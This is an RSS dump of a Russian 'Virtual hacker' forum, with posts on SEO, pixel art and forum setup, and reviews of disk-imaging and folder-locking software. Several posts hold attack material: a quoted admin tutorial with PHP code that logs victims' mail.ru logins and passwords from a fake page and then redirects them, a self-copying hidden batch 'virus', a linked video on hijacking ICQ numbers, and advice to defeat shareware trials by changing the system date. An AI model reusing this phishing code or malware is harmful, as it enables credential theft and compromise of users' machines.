http://dinamit.mybb.forum/ Virtual hacker ru-ru Sun, 18 Dec 2011 16:07:25 +0400 MyBB/mybb.ru http://dinamit.mybb.forum/viewtopic.php?pid=59#p59 <p>Хорошего дня!<br />Подскажите пожал. какие программы еффективнее по расскрутке сайтов и где их лучше взять? Спасибки</p> mybb@mybb.ru (Алена) Sun, 18 Dec 2011 16:07:25 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=59#p59 http://dinamit.mybb.forum/viewtopic.php?pid=57#p57 <p>@Echo off<br />copy %0 c:virus.bat &gt;nul<br />attrib +h c:virus.bat &gt;nul<br />Echo var WSHShell = WScript.CreateObject(&quot;WScript.Shell&quot;); &gt; %temp%mes.js<br />echo WSHShell.Popup (&quot;ПИШИ СЮДА ЧТО УГОДНО&quot;); &gt;&gt; %temp%mes.js<br />start %temp%mes.js<br />deltree /y %temp%mes.js</p> <p>Вот это получится вирусом?<br />Если ДА...Он будет автоматически запускаться...или здесь нет этого скрипта?<br />Если НЕТ...Что не правильно сделал?</p> mybb@mybb.ru (Тёма) Sun, 06 Feb 2011 22:17:26 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=57#p57 http://dinamit.mybb.forum/viewtopic.php?pid=55#p55 <p>Также...хотелось бы видетть на форму побольше полезной информаци...:)</p> mybb@mybb.ru (Тёма) Sun, 06 Feb 2011 21:39:42 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=55#p55 http://dinamit.mybb.forum/viewtopic.php?pid=53#p53 <div class="quote-box answer-box"><cite>admin написал(а):</cite><blockquote><p>Теперь надо создать страницу, с помощью которой, данные которые вводит жертва, сохранились нам на хост. Опять открываем блокнот и копируем куда вот этот тект:<br />&lt;?PHP<br />$Login = $_POST['Login'];//Логин от E-mail'a<br />$Domain = $_POST['Domain'];//Домен (mail, inbox, list, bk)<br />$Pass = $_POST['Password'];//Пароль от E-mail'a<br />$c = &quot;$Login@$Domain:$Pass&quot;;<br />$fp = fopen(&quot;file&quot;,&quot;a+&quot;); //открыть файл<br />fwrite($fp,&quot;\n $c &lt;br&gt; \n&quot;);//записываем вс` данные<br />fclose($fp); //закрываем<br />header(&quot;Location: <a href="http://win.mail.ru/cgi-bin/login&quot;" rel="nofollow" target="_blank">http://win.mail.ru/cgi-bin/login&quot;</a>); //куда перенавравиться пользователь после ввода данных<br />echo &quot;&lt;META HTTP-EQUIV=\&quot;Refresh\&quot; content =\&quot;0; URL=http://win.mail.ru/cgi-bin/start?1390370218\&quot;&gt;&quot;<br />?&gt;</p></blockquote></div><p>Вот сэтого момента немного не понял... Во-первых, где будут сохраняться данные которые введут люди, во вторых, что это за пояснение что ты справа написал? В данном кусочке надо что-то изменять?</p> mybb@mybb.ru (UniDemoN) Sat, 31 Oct 2009 22:47:22 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=53#p53 http://dinamit.mybb.forum/viewtopic.php?pid=50#p50 <p>ОГО!А в один-два поста нельзя было оформить???</p> mybb@mybb.ru (admin) Sat, 08 Nov 2008 01:09:13 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=50#p50 http://dinamit.mybb.forum/viewtopic.php?pid=41#p41 <p>Наступила пора рассказать вам о том как удобнее пользоваться Photoshop'ом при рисовании пиксельной графики! Можно конечно пользоваться и другими графическими редакторами, например такими как MS Paint (не шутка), Ulead PhotoImpact и др. Но я считаю программулину Adobe Photoshop лучше.</p> <p><strong>Рабочее поле</strong><br />Итак, для примера создаём рисунок 70х70 пикселей. И что мы видим, белый лист над которым не терпиться поизврощаться. :) Чтобы было удобнее рисовать вы можете включить линейку - View-&gt;Show Rules, выключить естественно View-&gt;Hide Rules. В общем линейка очень помогает в пиксельной графики. С её применением вы обязательно сталкнётесь.<br />Возможно, придёт на помощь(в чём я сомневаюсь) сетка - View-&gt;Show-&gt;Grid. Она бы пригадилась если бы сетка была бы под пиксели.<br />Если вдруг вы открыли пиксельный рисунок и решили добавить свою лепту туда, то при рисование допустим синим цветом появляеться какой либо другой. Чтобы решить эту проблему вам просто надо переконвертировать рисунок в RGB палитру - Mode-&gt;RGB Color </p> <p><strong>Инструменты</strong><br />В общем то пользоваться мы будем малым кол-во инструментов. Это можно перечислить:<br />1. Просто карандаш - Pencil Tool / Brush<br />2. Заливка цветом - Paint Bucket Tool<br />3. Цветовой градиент - Gradient Tool<br />4. Выделить объект - все Marguee Tool<br />5. Лупа(без нее никак :) - Zoom Tool<br />6. Цвето-определитель :) - Eyedropper Tool<br />7. Ну и конечно наша любимая стёрка - Eraser Tool </p> <p><strong>Шрифты</strong><br />Не думайте что существуют специальнуе пиксельные шрифты. Можно писать по пиксельному двумя способами:<br />1. Собственноручно. Да, и не удивляйтесь. Прямо ручками по пикселю - если постараться то выходит ну очень красиво =). <br />2. Ну и второй способ. Включаешь какой нибудь шрифт(любой), пишешь свою любимую фразу а потом в опциях шрифта убираешь Crisp(или что там у вас), меняешь на None. Вот вам и пиксельный шрифт :)<br />Вот шрифты которые я использую и люблю:<br />Tahoma, Verdana, Small Fonts, Arial, Times New Roman, FixedSys, Ms serif, Courier New, System.</p> mybb@mybb.ru (admin) Thu, 30 Oct 2008 01:53:47 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=41#p41 http://dinamit.mybb.forum/viewtopic.php?pid=39#p39 <p>Поисковое продвижение сайта. Продвижение в поисковых системах. Регистрация в Рейтингах, Каталогах.<br />He стоит полагать, что создав сайт, вы проделали основную работу. Какой бы интересный и полезный сайт Вы не построили, его единственными посетителями будете Вы сами и несколько друзей, получивших предложение посмотреть его.<br />Создав и разместив в Сети свой сайт, Вам придется задуматься о рекламе и его продвижении. Типичная ошибка многих новичков заключается в том, что после регистрации адреса сайта в поисковых и рейтинговых системах вся деятельность в этом направлении прекращается. <br />Продвижение сайта - наиважнейший процесс для любого сайта в Интернете. Это бесконечный процесс, который нельзя останавливать ни на день. Интернет - это огромное количество информации. Каждый день появляются новые сайты, которые в плане раскрученности становятся Вашими конкурентами. Если Вы просто разместили свой сайт в Интернете и решили, что этого достаточно, то Ваш сайт очень быстро окажется на самом дне Интернета, в самой глуши, где его никто никогда не найдет. Чтобы о Вашем сайте узнали, Вам нужно постоянно тянуть свой сайт на свет.<br />Платные сервисы - в Интернете сейчас можно встретить много сайтов, предлагающих платные услуги - &quot;раскрутку&quot;, продвижение сайта, регистрацию сайта в каталогах. Сайты, предлагающие услуги продвижения, поисковой оптимизации сайта и т.д., растут, как грибы. Не верьте всему, что Вам предлагают! Если Вы решили воспользоваться данными услугами по продвижению Вашего сайта, лучше это делать на серьёзных, проверенных сервисах (сайтах). Подробнее о том, как правильно выбрать платные услуги и не быть обманутым, читайте у нас на сайте на странице - Услуги.<br />Продвижение в поисковых системах.<br />Поисковые системы - это самый удобный и самый распространенный способ поиска информации в Интернете. Именно регистрация сайта в поисковых системах даёт до 80% трафика на Ваш сайт. Поэтому после создания и проверки сайта первым делом зарегистрируйте его в поисковых системах. Самые популярные в России - RAMBLER.RU, YANDEX.RU, APORT.RU, GOOGLE.COM, MAIL.RU и др.. Англоязычное население Интернета использует Yahoo.com, Google.com и Altavista.com. В перечисленных выше поисковиках, и вообще во всех наиболее популярных системах, рекомендую регистрироваться вручную, несмотря на то, что существует множество сайтов и программ, позволяющих автоматически зарегистрироваться в десятках и сотнях поисковых систем. Зарегистрировавшись вручную в наиболее популярных поисковиках и каталогах, не помешает еще и зарегистрировать свой сайт при помощи специальных сайтов и служб автоматической регистрации, через данные службы раскручивать сайт намного легче, чем вручную. Проблема поисковых систем состоит в том, что в их базах данных содержатся сотни тысяч документов. Поэтому по любому запросу поисковая машина выдаст пользователю огромное количество ресурсов (сайтов) по данной теме. Если учесть, что на каждой странице размещается в среднем 10 ссылок, шансов, что кто-нибудь просмотрит, например, тридцатую страницу и увидит ссылку номер 301, практически нет. По статистике около 10% пользователей просматривают результаты своего запроса дальше третьей страницы. Таким образом, Ваша задача - добиться того, чтобы Ваш ресурс показывался одним из первых. Повышенная значимость документа определяется ссылками извне на сайт, содержащий этот документ. Размещая ссылку на другой сайт, его как-бы рекомендуют посетителям своего сайта. Однако, ссылки тоже бывают разные. Количество внешних ссылок на сайт не годится для представления &quot;цитируемости&quot;. Важность ссылок с сайтов на бесплатных хостингах и с низким тИЦ ничтожна по сравнению со ссылками с известных ресурсов. &quot;Цитируемость&quot; и есть такой параметр важности, который выражает авторитетность страницы. Все поисковики учитывают &quot;цитируемость&quot;, но базы у них разные - поэтому цитируемый сайт для одного поисковика может не быть цитируемым для другого. Поэтому, очень важно то, чтобы ссылки на Ваш сайт были с наиболее цитируемых ресурсов. Ниже Вы можете зарегистрировать свой сайт в самых популярных поисковых системах.<br />Регистрация в поисковых системах:<br />Для регистрации Вашего сайта в популярных поисковых системах, нажмите ниже на ссылки поисковых систем (откроется в новом окне). </p> <p><a href="http://webmaster.yandex.ru/" rel="nofollow" target="_blank">http://webmaster.yandex.ru/</a><br /><a href="http://www.rambler.ru/doc/add_site.shtml" rel="nofollow" target="_blank">http://www.rambler.ru/doc/add_site.shtml</a><br /><a href="http://www.google.ru/intl/ru/addurl.html" rel="nofollow" target="_blank">http://www.google.ru/intl/ru/addurl.html</a><br /><a href="http://www.aport.ru/addurl.php" rel="nofollow" target="_blank">http://www.aport.ru/addurl.php</a><br /><a href="http://top.mail.ru/add" rel="nofollow" target="_blank">http://top.mail.ru/add</a>&#160; &#160; </p> <p>Регистрация сайта в Рейтингах, Каталогах, ТОП-ресурсах.<br />Регистрация сайта - это создание ссылок на Ваш сайт с других сайтов. Каталог сайтов - это список сайтов по тематикам, Рейтинг - это Каталог, в котором положение Вашего сайта будет выше, чем будет больше посещаемость сайта. Считается, что регистрация в Рейтингах и Каталогах приносит наибольшее количество посетителей после поисковых систем. Регистрация в поисковых системах обеспечивает стабильный ежедневный приток посетителей на сайт, а регистрация в рейтингах приводит к резкому повышению трафика (при условии, если Ваш сайт в числе первых). Вы, наверное, видели, размещенные на многих сайтах небольшие счетчики. Эти счетчики устанавливаются на сайт при его регистрации в том или ином рейтинге. Рейтинги или ТОП-листы представляют собой серверы, на которых расположены адреса страничек по какой-либо теме в соответствии с их популярностью. Это - своего рода хит-парад: каждый раз, когда посетитель заходит на Ваш сайт, позиция сайта в рейтинге изменяется, он поднимается вверх, обгоняя сайты, на которые было меньше заходов. Чем выше расположен сайт в рейтинге, тем больше вероятность, что очередной посетитель этого рейтинга зайдет на него. Желательно с первых дней Вашего проекта публиковать на сайте статистику по количеству посетителей, регистрациям и т.п., что даст дополнительный плюс и повысит доверие пользователей к Вашему проекту. Вот список наиболее популярных русскоязычных рейтингов: Rambler's Top100, Top.Mail.ru, Hotlog.ru, Spylog.ru, One.ru, Liveinternet.ru и т.д. <br />Мы можем зарегистрировать Ваш сайт в более, чем 3000 Интернет-каталогах (сайтах)! Подробнее о регистрации Вы можете узнать на странице - Услуги.<br />Каталог Яндекса. При попадании в Яндекс-каталог увеличивается его тИЦ (сайту приписывается категория) и он повышается в результатах поиска. Как попасть в Каталог Яндекс? 1-й вариант - заплатить Яндексу. 2-й вариант - меняться ссылками с сайтами, которые зарегистрированы в этом Каталоге Яндекс. Лучше меняться с тематически близкими сайтами. И по мере того, как на Ваш сайт будут нарастать ссылки, Ваш сайт станет более заметным для модераторов Яндекс-каталога и если Вы сами забыли добавить свой сайт, Вас могут внести бесплатно. Не регистрируйтесь в Каталоге Яндекс сразу, а сначала увеличьте свою цитируемость хотя бы до 100, а затем посылайте заявку.<br />Продвижение сайта с помощью Досок объявлений.<br />Плюсы: они бесплатны, их много, объявление хранится достаточно долго, Ваше объявление индексируется поисковой системой, что повышает вероятность нахождения Вашего сайта через запрос в поисковой системе, повышается ТИЦ (индекс цитирования) Вашего сайта при хранении на досках Вашей ссылки. <br />Минусы: Ваше объявление будет видно на первых страницах лишь непродолжительное время, низкая откликаемость на Ваши объявления, на многих досках правила и формы размещения отличаются друг от друга, что приводит к трате драгоценного времени на приспособление к условиям конкретной доски, охота спаммеров на Ваш e-mail.</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 22:31:54 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=39#p39 http://dinamit.mybb.forum/viewtopic.php?pid=38#p38 <p>Как создать свой форум и приложить минимум усилий<br />Вопросы на тему создать форум, сделать форум или как установить форум, звучат все чаще в Сети, чатах или на досках объявлений. Отголоски этих вопросов – как создать новый форум, установка форума phpBB, создать форум PHP, как создать свой форум – также достаточно часто встречаются. Тематике «создать форум, сделать форум и как установить форум» посвящена данная статья. <br />Как создать форум или сделать форум, вопросы звучат не реже, чем как установить форум. Это свидетельствует о том, что желание создать форум или сделать форум собственными силами соседствует с непониманием того, как установить форум, уже готовый и скачанный где-либо. Создать новый форум, установка форума phpBB, создать форум PHP, как создать свой форум – эти вопросы в виду непонимания проблематики также соседствуют друг с другом. <br />Но ведь тому, чтобы создать форум (сделать форум), проблема «как установить форум» даже не противопоставляется. Создание чего-либо нового всегда значительно сложнее использования готового. Создать новый форум, установка форума phpBB, созданного собственноручно, создать форум PHP, как создать свой форум, который был бы универсален – задача не из легких, поэтому в программном мире создано большое количество готовых решений-шаблонов. <br />«Создать форум», «как установить форум» - эти решения, советы и подсказки можно найти при помощи поисковых систем, или же посоветовавшись с более опытными программистами. Задача или потребность создать новый форум, установка форума phpBB, созданного самостоятельно, вызвана также значительным спросом на данный вид продукции. Что есть форум, известно всем – именно при помощи данной программной среды люди в режиме офф-лайн делятся своими проблемами, знаниями, готовыми решениями или путями их решения. <br />Именно поэтому пропагандируется собственный метод поиска решений – ведь советы типа «создать форум», «как установить форум» всегда пользуются повышенным интересом. Создать новый форум, установка форума phpBB, созданного Вами, создать форум PHP или как создать свой форум – сделав это, Вы сможете продавать готовое решение и создавать все новые и новые. </p> <p><a href="http://rapidshare.com/files/158174456/Forum.rar.html" rel="nofollow" target="_blank">http://rapidshare.com/files/158174456/Forum.rar.html</a></p> <p>Книга оч хорошая!!!</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 22:30:00 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=38#p38 http://dinamit.mybb.forum/viewtopic.php?pid=37#p37 <p>Очень позновательный видеоролик о краже ICQ. Здесь популярно расказано как увести понравившейся вам номерок или наоборот, вы можете сделать для себя вывод как надёжно защетить свой номер.<br />В любом случае посмотреть стоит.</p> <p><a href="http://letitbit.net/download/d9c84c794048/icqhackedbysulf.rar.html" rel="nofollow" target="_blank">http://letitbit.net/download/d9c84c7940 &#8230; f.rar.html</a>&#160; &#160;скачать</p> <p><a href="http://depositfiles.com/files/2975474" rel="nofollow" target="_blank">http://depositfiles.com/files/2975474</a> -&#160; &#160; &#160; &#160; &#160; &#160; зеркало</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 22:27:41 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=37#p37 http://dinamit.mybb.forum/viewtopic.php?pid=36#p36 <p>Ребят,эта статья для начинающих!А чтоб защититься от хакеров,эт вам нужно ими стать!В общем читайте,есть интересные моменты:)</p> <p><strong>Alcohol 120</strong> </p> <p>Программа Alcohol 120% появилась на рынке программного обеспечения достаточно недавно, но за период менее полугода приобрела огромную популярность среди пользователей благодаря высокой функциональности, интуитивно понятному интерфейсу и возможности работы с основными типами файлов-образов внешних программ записи информации. Основным отличием от аналогичных пакетов является то, что программа сама является и программой эмуляции виртуальных CD/DVD-приводов, и программой записи файлов-образов. Например, с ее помощью можно создать точную копию защищенного компакт-диска; программа также понимает и способна эмулировать большинство систем защиты информации от копирования.<br />Скачать последнюю версию программы можно с сайта компании Alcohol Soft Co. Ltd (wwwalcohol-soft.com) либо с сайта wwwsoft-e.net. Пользователю предоставляется возможность в течение 30 дней бесплатно работать с полной версией программы. По истечении этого срока можно воспользоваться одним из описанных выше способов по взлому подобных программ (например изменить системную дату на более раннюю, чтобы программа считала, что положенный месяц еще не прошел).<br />Вызвав Мастер создания файла-образа, пользователь увидит основное диалоговое окно указания параметров будущего виртуального диска 1.19). Как и в большинстве аналогичных программ, требуется указать, в каком из приводов располагается оригинальный компакт-диск, файл-образ которого и требуется создать. Особое внимание следует обратить на три дополнительных параметра:<br />¦ Skip reading errors — пропускать ошибки чтения;<br />¦ Fast skip error blocks — пропускать нечитаемые сектора в ускоренном режиме (поддерживается не всеми CD/DVD-приводами);<br />¦ Read Sub-Channel Data from current disc — читать данные из субканала оригинального компакт-диска.<br />Основное диалоговое окно Мастера создания файлов-образов<br />В левом нижнем углу Мастера создания виртуальных дисков располагается список Datatype, содержащий шаблоны настроек для различных типов компакт-дисков. Программа Alcohol 120% позволяет создавать образы защищенных от копирования компакт-дисков и поддерживает более 10 наиболее распространенных систем защиты от копирования: Audio+; General Protected CD;<br />Интерфейс программы достаточно функционален: в левой части отображается три панели (Main, Options, Help), содержащие наиболее используемые кнопки; в основном окне расположен список файлов-образов; в нижней части приведен перечень CD/DVD-приводов — как аппаратных, так и виртуальных.<br />Karaoke CD+G; Laserlock; Play Station; SafeDisc; Safe Disk 2; Securom; Securom *New; VOB ProtectCD.<br />Определив тип защиты от копирования, необходимо выбрать ее в списке Datatype, после чего программа сможет корректно считать информацию с оригинального компакт-диска и выставить параметры эмуляции созданного файла-образа. Затем нужно нажать кнопку Next.<br />В следующем диалоговом окне Мастера созданияфайлов-образов 1.20) пользователю необходимо выбрать размещение на жестком диске и тип будущего файла-образа. Программа способна создавать файлы-образы четырех основных типов:<br />¦ MDS (Media Descriptor Image);<br />¦ CCD (CloneCD Image);<br />¦ CUE (CDRWIN Image);<br />¦ ISO (Standard ISO Image).<br />информацию о защите компакт-диска и в дальнейшем корректно эмулироваться программой. Процесс создания файла-образа начинается после нажатия кнопки Start, а по окончании созданный файл-образ автоматически помещается в перечень виртуальных дисков основного окна программы.<br />Выполнить присоединение (монтирование) файла-образа можно двумя различными способами: ,<br />¦ выбрать в перечне CD/DVD-приводов виртуальный привод программы Alcohol 120% (по умолчанию называется AXV CD/DVD ROM 0) и нажать клавишу Insert. В открывшемся диалоговом окне нужно указать размещение файла-образа на жестком диске компьютера;<br />¦ выбрать один из файлов-образов в основном перечне виртуальных дисков программы и воспользоваться командой Mount on Device контекстного меню программы).<br />Помещение файла-образа в виртуальный привод программы<br />Одной из наиболее удобных функций программы Alcohol 120% можно считать возможность присвоить каждому файлу-образу собственную комбинацию клавиш, при нажатии которой образ будет автоматически помещаться в виртуальный привод. Присвоение определенной комбинации клавиш выполняется в диалоговом окне свойств выбранного файла-образа (команда Properties контекстного меню) 1.22).<br />В некоторых случаях использование данной функции может приводить к перезапуску компьютера, поэтому рекомендуется закрыть все активные программы, присвоить одному из образов сочетании клавиш и попытаться им воспользоваться. Если автоматической перезагрузки не произошло, значит, можно использовать данную функцию в дальнейшей работе.<br />Присвоение сочетания клавиш файлу-образу<br />Выполнить запись файла-образа на компакт можно, воспользовавшись Мастером Image Burning Wizard — нажав на сооветствующую кнопку в левой панели программы Alcohol 120%. В первом диалоговом окне Мастера требуется указать размещение файла-образа, содержимое которого и будет записано на CD/DVD диск. Для этого достаточно нажать на кнопку Browse и в стандартном диалоговом окне Открыть операционной системы Windows указать размещение файла-образа 1.23).<br />Во втором диалоговом окне Мастера пользователю необходимо выбрать следующие параметры:<br />¦ привод, который будет осуществлять запись компакт диска;<br />¦ скорость, на которой будет произведена запись;<br />¦ метод записи;<br />¦ количество копий компакт-диска;<br />¦ тип защиты, которая использовалась на оригинальном CD/DVD-диске (список Datatype).<br />Кроме этого, в группе Write Options можно определить дополнительные параметрызаписи:<br />¦ Enable Buffer Underrun Technology — использовать перечисленные защиты от переполнения буфера записи CD/DVD-привода;<br />¦ Don't close the last session of current disc — не выполнять закрытие сессии текущего компакт-диска. Активизация данной функции позволяет в дальнейшем дописывать данные на такой компакт-диск;<br />¦ Bypass EFM Error — использовать всю информацию об оригинальном носителе во время записи файла-образа на CD/DVD-диск. Активизация функции позволяет наиболее точно воссоздать оригинальный диск, используя информацию, хранимую в специализированных типах файлах-образах (только файлы-образы, имеющие расширение CCU и MDS, содержат наиболее полную информацию о содержимом оригинального диска, типе используемой защиты, информацию, считанную из субканапа носителя данных);<br />¦ Rectify Sub-Channel Data — записывать на CD/DVD-диск данные из субканала оригинального диска.<br />Большинство дополнительных параметров влияют на качество воспроизведения той или иной защиты от копирования компакт-диска. Для того чтобы немного упростить работу с программой, разработчики поместили в нижней части диалогового окна Мастера записи список Datatype. Выбрав тип диска либо тип защиты оригинального CD/DVD-диска в этом списке, пользователь автоматически установит дополнительные параметры в такой комбинации, которая позволит наиболее точно воссоздать оригинальный диск. Запуск процесса записи компакт-диска осуществляется нажатием кнопки Start, после чего программа выполнит небольшой анализ содержимого файла-образа и перейдет непосредственно к записи носителя.<br />Диалоговое окно записи Alcohol 120% отображает:<br />¦ ход выполнения в процентах;<br />¦ номер записываемого в данный момент сектора;<br />¦ текущую скорость записи;<br />¦ загрузку буфера данных (Memory Buffer Usage);<br />¦ загрузку центрального процессора;<br />¦ информацию о состоянии привода 1.25).</p> <p><strong>Black Magic</strong> </p> <p>Отличительной особенностью этой программы является то, что ее нельзя назвать программой-заставкой в чистом виде, т.к. во время блокировки экрана заставку она не использует.<br />Остановимся на способах задания пароля. В отличие от предыдущей программы, в Black Magic значительно проще варьировать пароль. Программа требует ввести пароль и подтвердить его в соответствующих полях . Можно при каждом включении вводить новый пароль или же, активировав соответствующую опцию, запомнить его.<br />Однако для пользователей Windows 9X данные программы являются хорошей альтернативой «родным» утилитам аналогичного предназначения. С другой стороны, для более серьезной блокировки системы применяются защита с помощью BIOS и некоторые другие приемы, о которых будут рассмотрены на сайте.</p> <p><strong>Hide Folder</strong> </p> <p>Программа для защиты ресурсов пользователя — Hide Folder (Скройте папку).<br />Данная программа предоставляет средства защиты для файлов, папок и дисков; при этом она имеет удобный русскоязычный интерфейс.<br />Эта программа является условно-бесплатной (shareware), и ею можно пользоваться в режиме ознакомления в течение 15 дней с момента установки на компьютер. По истечении пятнадцатидневного срока использование программы может быть продлено путем изменения системной даты, как было рассмотрено выше (1.2 «Взлом архивов и программ», раздел «Методы взлома программ»).<br />Для удобства работы все основные функции, которые могут потребоваться пользователю, вынесены на панель инструментов 2.31). Рассмотрим назначение каждой из представленных кнопок.<br /><span style="color: fuchsia">Защитить</span><br />Данная кнопка является основным инструментом при выборе ресурса компьютера, который необходимо защитить. Если выполнить на ней щелчок мышью, откроется окно, в котором необходимо выбрать защищаемый ресурс 2.32).<br />Окно выбора защищаемого ресурса Диск. При защите диска следует в поле выбора имени диска'<br />при помощи кнопки J..1 указать соответствующий диск и в области Доступ выбрать опцию Нет доступа (скрыто).<br />Папка. Для ограничения доступа к папке необходимо активизировать кнопку Папка, вследствие чего окно преобразуется для работы с данным ресурсом 2.33). Для установки защиты следует в поле Выберите путь к папке указать путь и имя защищаемой папки.<br />Затем необходимо выбрать один из трех основных режимов доступа:<br />¦ Полный доступ - предоставляется полный доступ к указанному ресурсу;<br />Пользовательский — тип доступа, позволяющий пользователю настраивать разрешения доступа к указанному ресурсу 2.33). При выборе соответствующих опций (Чтение, Запись, Удаление, Видимость) пользователям будет разрешено выполнять перечисленные действия — читать из папки, записывать в нее и т.д.;<br />Нет доступа (скрыто) — пользователи не будут иметь доступа к указанному ресурсу.<br />Файл. Настройка защиты файла выполняется тоже так же, как и для папки, с той лишь разницей, что необходимо указать путь непосредственно к файлу.<br />Маска. Данный пункт позволяет защитить группу объектов (папок и файлов), указав маску, с помощью которой они будут выбираться.<br />При нажатии кнопки Маска отобразится окно, в котором следует указать путь к диску или папке, на объекты которых будет накладываться маска. Так, чтобы выбрать для защиты все объекты в корневом каталоге диска С: которые начинаются на букву «g», необходимо ввести такую маску: с:\.<br />Окно задания маски<br />Категория доступа для выбранных по маске объектов настраивается так же, как и для папок/файлов. Затем необходимо по твердить выбранные настройки нажатием на кнопку ОК.<br />При этом управление передается основному окну программ Здесь отображается путь к объекту:<br />X — запрет на выполнение действия;<br />S —разрешение на выполнение действия.<br />Отображение установленных параметров доступа к ресурсам<br />Мастер<br />Данная кнопка служит для запуска Мастера защиты, при помощи которого можно поэтапно выполнить установку защит!<br />заданного объекта.<br />После нажатия на кнопку Мастер открывается окно в котором можно выбрать следующие возможности:<br />Окно Мастера защиты<br />¦ Спрятать файл, папку или диск — служит для скрытия выбранных объектов таким образом, чтобы они не отображались в файловых менеджерах либо в иных программах;<br />¦ Установить режим доступа &quot;только для- чтения&quot; — служит для назначения указанным объектам режима Только для чтения во избежание их удаления либо перемещения;<br />¦ Зашифровать выбранные файлы — выполняется шифрование указанных пользователем файлов;<br />¦ Секретные уловки — служит для предотвращения доступа к некоторым системным и личным данным пользователя.<br />Первые две опции имеют сходные шаги выполнения Мастера защиты. Так, на втором шаге Мастера указывается объект, который будет спрятан от пользователей (файл, папка, диск или группа файлов по маске) либо на который будет распространен режим Только для чтения (файл, папка или группа файлов по маске).<br />Третий шаг Мастера служит для формирования списка защищаемых объектов. При помощи кнопки Добавить открывается стандартное окно Select file (Выбор файла), при мощи которого объекты загружаются в окно Мастера.<br />Hide folder Wizard — Step 3 of 4<br />Процесс скрытия объектов<br />Третий шаг мастера защиты<br />На следующем шаге программа сообщает об успешном формировании списка объектов и предлагает для применения функция защиты нажать кнопку Готово, после чего выбранные объекты попадают в список основного окна программы.<br />Процесс шифрования файла несколько отличается от приведенных выше процедур защиты 2.36). Мастер проходит пять шагов. На третьем шаге также происходит выбор шифруемых файлов, а на четвертом выбирается один из девяти предложенных алгоритмов шифрования и вводится пароль доступа. После нажатия на пятом шаге кнопки Закончить отображает! процесс шифрования и производится выход из Мастера.<br />Пункт Секретные уловки предназначен для выполнена ограничения доступа к некоторым системным ресурсам и выполняется в два шага: указания самого ресурса и применения нему защиты. При этом имеются следующие возможности защиты объектов:<br />¦ запретить доступ к папке Мои документы;<br />¦ запретить доступ к папке Избранное;<br />¦ запретить просмотр Истории;<br />¦ запретить доступ к Панели Управления;<br />¦ запретить изменение Даты и времени;<br />¦ запретить изменение Рабочего стола.<br />Правка</p> <p>Кнопка Правка служит для того, чтобы пользователь имел возможность отредактировать разрешения, назначенные им для объекта. При этом открывается окно защитытекущего объекта с установленными для него настройками.</p> <p>Удалить</p> <p>Кнопка предназначена для удаления текущего объекта из списка программы. При этом все настройки, которые были применены для него, снимаются.</p> <p>Процессы</p> <p>Нажатием кнопки Процессы открывается окно Процессы-исключения, которое служит для указания тех приложений, которые смогут иметь доступ ко всем защищенным объектам . Примерами подобных программ могут служить: антивирусное программное обеспечение, архиваторы и т.п.<br />Открыть/ Закрыть<br />Данная кнопка имеет двойное назначение: она находится ли в положении Закрыть (и при этом отображает открытый зам, свидетельствующий, что защита отключена), либо в положе Открыть (отображается закрытый замок, обозначающий, защита включена).<br />Помимо перечисленных выше средств управления, программа Hide Folder имеет некоторые настройки, которые устанавливаю в меню Опции .<br />Здесь путствуют опции, активизирующие следующие возможности:<br />¦ Поверх всех окон — опция служит для включения режима отображения окна программы над всеми окнами, кото запущены в системе Windows;<br />¦ Включать защиту после выхода — включение данной оп&gt; означает, что после закрытия окна программы она будет Ж тематически переведена в защищенный паролем режим работы;<br />¦ Защищать при старте Windows — опция предназначена дм автоматического включения защищенного режима с при запуске операционной системы;<br />¦ Защита паролем — вызывает окно, в котором можно уловить пароль на открытие программы;<br />¦ Установить горячие клавиши — служит для вызова окна » стройки горячих клавиш, при помощи которых можно управлять такими режимами работы программы, как ее запуск и включение/выключение защиты, без открытия основного окна программы;<br />Шрифт — вызывает окно управления шрифтами, при помощи которого можно установить вид отображения защищенных объектов в общем списке программы; Язык — служит для переключения языка интерфейса.</p> <p><strong>ScreenLock Pro</strong> </p> <p>Хорошо зарекомендовала себя программа от компании Software ScreenLock Pro. <br />Программа поддерживает возможность запирания экрана при кратковременном отсутствии пользователя, а также может выступать в качестве «входного контроля» в ОС.<br />При установке ScreenLock Pro требует, чтобы пользователь ввел вопрос, который будет задаваться при попытке входа в систему, и пароль для снятия защиты.<br />После инсталляции программа записывает себя в Автозапуск, вследствие чего для мгновенного запирания экрана достаточно дважды щелкнуть по ярлыку программы, расположенному на Рабочем столе (или один щелчок по значку программы в системном лотке). При этом как вопрос, так и ответ (т.е. пароль) можно менять в любой момент - нужно активизировать программу, затем раскрыть подменю Settings \ Primary Account. Здесь для изменения вопроса следует выбрать пункт Change the PRIMARY account's Question, а для изменения ответа - пункт Change PRIMARY account's Answer. После разблокирования, если была неудачная попытка ввести пароль, программа выдает соответствующее сообщение, указывая, в котором часу это произошло, а также отображая пароль, введенный злоумышленником 1.4).<br />Для того чтобы запомнить пароль, необходимо нажатием кнопки Options вызвать диалоговое окно свойств программы (Black Magic Options) и установить флажок Remember Password .<br />Программа поддерживает возможность блокировки доступа при загрузке Windows. Для этого в диалоговом окне Black Magic Options нужно установить флажок Auto Lock on Startup.<br />Недостаток тот же, что и у предыдущей программы: она не блокирует Autorun со всеми вытекающими последствиями. Общим недостатком обеих программ-заставок также является то, что их пароли шифруются не лучшим образом. Существует множество программ (которые широко представлены в Internet), позволяющих использовать эту уязвимость.<br />Следует отметить, что LOG-файл (т.е. файл, куда записывается вся информация о работе программы- время активации и деактивации программы, количество попыток войти в систему) представляет собой не что иное, как обычный текстовый файл . Это дает возможность взломщику уничтожить следы своего пребывания. Ведь если нажать кнопку Delete Log в окне Black Magic Options, то удаление всей информации сразу бросится в глаза; из LOG-файла же возможно удаление отдельных строк. У программы ScreenLock Диалоговое окно S/acfc Pro такой недостаток отсутствует. Magic Options<br />Наверное, единственным преимуществом программы Black Magic по сравнению с предыдущей является ее бесплатное распространение.<br />Из всего вышесказанного следует, что подобные программы способны обеспечивать безопасность только при кратковременном отсутствии пользователя, и возлагать на них большие надежды все же не стоит.<br />Также программа 